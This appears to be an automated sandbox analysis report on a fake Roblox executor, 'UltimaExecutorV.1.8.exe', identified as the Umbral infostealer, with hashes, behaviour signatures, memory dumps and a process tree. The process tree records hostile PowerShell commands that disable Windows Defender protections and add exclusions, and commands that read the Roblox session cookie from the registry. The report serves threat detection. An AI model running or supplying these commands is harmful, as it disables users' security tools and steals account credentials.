Analysis

  • max time kernel
    103s
  • max time network
    123s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250410-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250410-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/04/2025, 02:02

General

  • Target

    UltimaExecutorV.1.8.exe

  • Size

    911KB

  • MD5

    c1d3eba922b1c8200c576741321e30f0

  • SHA1

    992b40e1883a7f034b99256084aa0130d738ba5c

  • SHA256

    2257c78940e11aab5b71fd84da526e53a7d86c217667b42bc29f837e8ea09eb7

  • SHA512

    cbebcc57d691cb0a42ea345aa296e6e7ca52ad09e049e1e951f56415dd657ebbe69a7ed8e0ed41cdea40e7c82d579579457af9374cbcf718fa9bf0c6a777c224

  • SSDEEP

    24576:PX0dNTiM8RviVUwblP373RVTdQJtg8y6E:/0dNTiM8NiVUC373RheE

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 47 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\UltimaExecutorV.1.8.exe
    "C:\Users\Admin\AppData\Local\Temp\UltimaExecutorV.1.8.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2228
    • C:\Users\Admin\AppData\Local\Temp\UltimaExecutorV.1.8.exe
      "C:\Users\Admin\AppData\Local\Temp\UltimaExecutorV.1.8.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5184
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:5160
      • C:\Windows\SysWOW64\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\UltimaExecutorV.1.8.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:4412
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\UltimaExecutorV.1.8.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4428
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4596
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2752
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4200
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:1092
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2452
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • System Location Discovery: System Language Discovery
        PID:5944
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:4220
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        "wmic" path win32_VideoController get name
        3⤵
        • System Location Discovery: System Language Discovery
        • Detects videocard installed
        PID:2404
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\UltimaExecutorV.1.8.exe" && pause
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:1020
        • C:\Windows\SysWOW64\PING.EXE
          ping localhost
          4⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:1412

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\UltimaExecutorV.1.8.exe.log

    Filesize

    425B

    MD5

    4eaca4566b22b01cd3bc115b9b0b2196

    SHA1

    e743e0792c19f71740416e7b3c061d9f1336bf94

    SHA256

    34ba0ab8d1850e7825763f413142a333ccbc05fa2b5499a28a7d27b8a1c5b4bb

    SHA512

    bc2b1bf45203e3bb3009a7d37617b8f0f7ffa613680b32de2b963e39d2cf1650614d7035a0cf78f35a4f5cb17a2a439e2e07deaefd2a4275a62efd0a5c0184a1

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    3d086a433708053f9bf9523e1d87a4e8

    SHA1

    b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

    SHA256

    6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

    SHA512

    931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    8afa207700ee7e193a4819ca0b25374b

    SHA1

    1ede03521aabf2e3addefde82a5aa28f87df1855

    SHA256

    39f47ed7ccac72b65e9f92806f52fe8b80cce7f11fd425a69551ae41dd848bab

    SHA512

    3824350f33e5e05f27faf23189e4329e371a1d989126fbe957a4da4752ddd9b1fcae7d0b231109285b239a616d4996e34c273542da6ea241c494797c77ef58f0

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    17KB

    MD5

    6c4dbc33aa1896f7f274909869acab21

    SHA1

    58cef0e9ea4033ee92b5295eed5c2191615c7772

    SHA256

    a2779bc87fd766da50624278484246240e670f8750e7b1a63a761d7586e58d6f

    SHA512

    dd9f36a6edcf57b00720d7f3aecb96e9ec5329e753acd16c4487896a9165195bb4b6715e3573a642818279677358701acfc15308ad347b039068f00786017b29

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    0f03815c0e7daa1be0266b300f8ebcf8

    SHA1

    7484a14a931f69819539b8c9d71f9ff4c8319d99

    SHA256

    52c089665d26cf2f6070fc24824f3a4fce9ad614ff6d12857a56fd2540ca6b66

    SHA512

    ea7cc422730d4a76e5bce0368997b0f0a0f43977f4bec6de95feada37841ded9dc0b865e34032df0b50c0c6596b84717c798962af5b359b45639bd12dd44bbcf

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    15KB

    MD5

    1af9d5db3a52f58c4dfba2e7c9dfc6e6

    SHA1

    e12822bf05ebf063978502316cb46dcf004d12b9

    SHA256

    403f9165c0fbb2b6cdb87de7ca240ecffd19a75e282bf68a26c074ac53934424

    SHA512

    a0f214e33e4a72430780e96d5eb59184f7c097b61b12e40d5dcac442465ddbd6fe0ad256ce35d0f08d739724b5742e183271e4f4edbf4816a745a2427f33f32f

  • C:\Users\Admin\AppData\Local\Temp\UltimaExecutorV.1.8.exe

    Filesize

    911KB

    MD5

    c1d3eba922b1c8200c576741321e30f0

    SHA1

    992b40e1883a7f034b99256084aa0130d738ba5c

    SHA256

    2257c78940e11aab5b71fd84da526e53a7d86c217667b42bc29f837e8ea09eb7

    SHA512

    cbebcc57d691cb0a42ea345aa296e6e7ca52ad09e049e1e951f56415dd657ebbe69a7ed8e0ed41cdea40e7c82d579579457af9374cbcf718fa9bf0c6a777c224

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dtwbws0e.bhd.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2228-2-0x000000007453E000-0x000000007453F000-memory.dmp

    Filesize

    4KB

  • memory/2228-1-0x00000000007C0000-0x00000000008AA000-memory.dmp

    Filesize

    936KB

  • memory/2228-7-0x0000000074530000-0x0000000074CE0000-memory.dmp

    Filesize

    7.7MB

  • memory/2228-9-0x0000000074530000-0x0000000074CE0000-memory.dmp

    Filesize

    7.7MB

  • memory/2228-0-0x000000007453E000-0x000000007453F000-memory.dmp

    Filesize

    4KB

  • memory/2752-96-0x00000000069A0000-0x00000000069C2000-memory.dmp

    Filesize

    136KB

  • memory/2752-95-0x0000000006490000-0x00000000064DC000-memory.dmp

    Filesize

    304KB

  • memory/2752-93-0x0000000005F40000-0x0000000006294000-memory.dmp

    Filesize

    3.3MB

  • memory/4200-107-0x0000000005960000-0x0000000005CB4000-memory.dmp

    Filesize

    3.3MB

  • memory/4220-126-0x0000000005BC0000-0x0000000005F14000-memory.dmp

    Filesize

    3.3MB

  • memory/4220-128-0x0000000006000000-0x000000000604C000-memory.dmp

    Filesize

    304KB

  • memory/4428-44-0x0000000006D70000-0x0000000006D8A000-memory.dmp

    Filesize

    104KB

  • memory/4428-17-0x00000000055D0000-0x0000000005636000-memory.dmp

    Filesize

    408KB

  • memory/4428-30-0x0000000006220000-0x0000000006252000-memory.dmp

    Filesize

    200KB

  • memory/4428-31-0x000000006FDE0000-0x000000006FE2C000-memory.dmp

    Filesize

    304KB

  • memory/4428-41-0x0000000006260000-0x000000000627E000-memory.dmp

    Filesize

    120KB

  • memory/4428-42-0x0000000006C40000-0x0000000006CE3000-memory.dmp

    Filesize

    652KB

  • memory/4428-43-0x00000000076B0000-0x0000000007D2A000-memory.dmp

    Filesize

    6.5MB

  • memory/4428-28-0x0000000005C50000-0x0000000005C6E000-memory.dmp

    Filesize

    120KB

  • memory/4428-45-0x0000000006DE0000-0x0000000006DEA000-memory.dmp

    Filesize

    40KB

  • memory/4428-46-0x0000000007210000-0x00000000072A6000-memory.dmp

    Filesize

    600KB

  • memory/4428-47-0x0000000007180000-0x0000000007191000-memory.dmp

    Filesize

    68KB

  • memory/4428-48-0x00000000071B0000-0x00000000071BE000-memory.dmp

    Filesize

    56KB

  • memory/4428-49-0x00000000071C0000-0x00000000071D4000-memory.dmp

    Filesize

    80KB

  • memory/4428-50-0x00000000072B0000-0x00000000072CA000-memory.dmp

    Filesize

    104KB

  • memory/4428-51-0x0000000007200000-0x0000000007208000-memory.dmp

    Filesize

    32KB

  • memory/4428-27-0x0000000005840000-0x0000000005B94000-memory.dmp

    Filesize

    3.3MB

  • memory/4428-13-0x0000000002330000-0x0000000002366000-memory.dmp

    Filesize

    216KB

  • memory/4428-29-0x0000000005C90000-0x0000000005CDC000-memory.dmp

    Filesize

    304KB

  • memory/4428-14-0x0000000004D20000-0x0000000005348000-memory.dmp

    Filesize

    6.2MB

  • memory/4428-16-0x0000000005560000-0x00000000055C6000-memory.dmp

    Filesize

    408KB

  • memory/4428-15-0x00000000054C0000-0x00000000054E2000-memory.dmp

    Filesize

    136KB

  • memory/4596-60-0x0000000005880000-0x0000000005BD4000-memory.dmp

    Filesize

    3.3MB

  • memory/5184-111-0x0000000007280000-0x000000000728A000-memory.dmp

    Filesize

    40KB

  • memory/5184-69-0x0000000006E40000-0x0000000006EB6000-memory.dmp

    Filesize

    472KB

  • memory/5184-70-0x0000000007010000-0x0000000007060000-memory.dmp

    Filesize

    320KB

  • memory/5184-12-0x0000000074530000-0x0000000074CE0000-memory.dmp

    Filesize

    7.7MB

  • memory/5184-11-0x0000000074530000-0x0000000074CE0000-memory.dmp

    Filesize

    7.7MB

  • memory/5184-71-0x0000000007060000-0x000000000707E000-memory.dmp

    Filesize

    120KB

  • memory/5184-112-0x0000000008020000-0x0000000008032000-memory.dmp

    Filesize

    72KB

  • memory/5184-115-0x0000000074530000-0x0000000074CE0000-memory.dmp

    Filesize

    7.7MB

  • memory/5184-116-0x0000000074530000-0x0000000074CE0000-memory.dmp

    Filesize

    7.7MB

  • memory/5184-10-0x0000000005980000-0x0000000005F24000-memory.dmp

    Filesize

    5.6MB

  • memory/5184-8-0x0000000005330000-0x00000000053C2000-memory.dmp

    Filesize

    584KB

  • memory/5184-3-0x0000000000400000-0x0000000000440000-memory.dmp

    Filesize

    256KB

  • memory/5184-133-0x0000000074530000-0x0000000074CE0000-memory.dmp

    Filesize

    7.7MB